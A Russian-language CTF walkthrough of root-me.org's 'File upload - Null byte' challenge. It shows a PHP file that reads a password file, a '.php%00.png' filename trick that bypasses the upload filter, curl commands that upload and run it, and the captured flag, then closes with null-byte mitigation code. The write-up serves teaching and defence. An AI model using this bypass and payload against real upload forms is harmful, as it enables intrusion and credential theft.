Перейти к основному содержанию
 

CTF — File upload - Null byte

CTF

Продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "File upload - Null byte". За решение задачки дают 25 баллов, ближе к среднему уровню.

ctf

В качестве задания предлагается взломать фотогалерею, загрузив файл PHP. Судя по всему, даже код писать не нужно, подойдёт любой PHP файл.

Из названия уже понятен тип уязвимости, встречающийся в веб-приложених, написанных на Java, Perl или, в нашем случае, PHP.

Инъекция нулевого байта (Null Byte Injection или Null Byte Poisoning attack) — обход фильтров проверки веб-приложений путем добавления нулевого байта (%00 или 0x00) в конец строки.

Для работы с файловой системой PHP использует нижележащие C-функции. А в языке C нулевой байт означает конец строки. Поэтому всё что находится после нулевого байта C-функция не обработает.

От слов к делу.

Ссылки

https://www.root-me.org

Решение

Переходим на страницу задания:

http://challenge01.root-me.org/web-serveur/ch22/

ctf

Нас интересует раздел upload.

ctf

Воспользуемся предложением загрузить фото, Upload.

ctf

Написано, что разрешены только GIF, JPEG или PNG файлы. Загружаем первый попавшийся PNG.

ctf

Файл загрузился, можно открыть его по ссылке.

ctf

Создаёмайл internet-lab.php с любым содержимым, например:

<?php
$filename = '../../../.passwd';
$handle = fopen($filename, "rb");
$contents = fread($handle, filesize($filename));
fclose($handle);
echo "<b>$contents</b>";
?>

ctf

Пробуем загрузить этот файл.

ctf

Файл не грузится. Загрузчику не нравится расширение PHP. Попробуем вставить нулевой байт "%00" в название файла, переименовываем "internet-lab.php" в "internet-lab.php%00.png".

ctf

С точки зрения операционной системы название файла допустимо. Расширение файла PNG, загрузчик по идее должен такой файл пропустить. А функция C должна прервать выполнение после нулевого байта, тогда окажется, что расширение файла PHP.

ctf

Пробуем загрузить.

ctf

Файл загрузился, пробуем открыть файл internet-lab.php.

ctf

Отлично, вот и флаг: YPNchi2NmTwygr2dgCCF

Валидируем.

ctf

Флаг подходит, зарабатываем 25 очков.

Альтернативное решение

Решим задачку вторым способом. Подготавливаем файл x.php%00.png и загружаем его с помощью curl:

curl -i -X POST -F file="@C:/ctf/x.php%00.png;type=image/png;" http://challenge01.root-me.org/web-serveur/ch22/?action=upload

ctf

Файл загружен, копируем путь и пытаемся выполнить файл x.php, тоже через curl:

 curl "http://challenge01.root-me.org/web-serveur/ch22/galerie/upload/2b49d9d813c181ba3e9c7e563fa297ed/x.php"

ctf

Два действия и флаг найден.

Безопасность

Следует фильтровать внешние данные на возможное появление в них нулевого байта до передачи данных обработчикам C.

Скрипт, уязвимый к нулевому байту:

<?php
$file = $_GET['file']; // "../../etc/passwd\0"
if (file_exists('/home/wwwrun/'.$file.'.php')) {
    // file_exists возвратит true, т.к. /home/wwwrun/../../etc/passwd существует
    include '/home/wwwrun/'.$file.'.php';
    // будет подключён файл /etc/passwd
}
?>

Улучшенная версия предыдущего примера с корректной проверкой входных данных:

<?php
$file = $_GET['file'];

// Белый список возможных значений
switch ($file) {
    case 'main':
    case 'foo':
    case 'bar':
        include '/home/wwwrun/include/'.$file.'.php';
        break;
    default:
        include '/home/wwwrun/include/main.php';
}
?>

Фильтр для Perl:

$data=~s/\0//g;

Фильтр для PHP:

$file = str_replace(chr(0), '', $string);

Фильтр для Java:

fn = fn.replace('\0', '');

Теги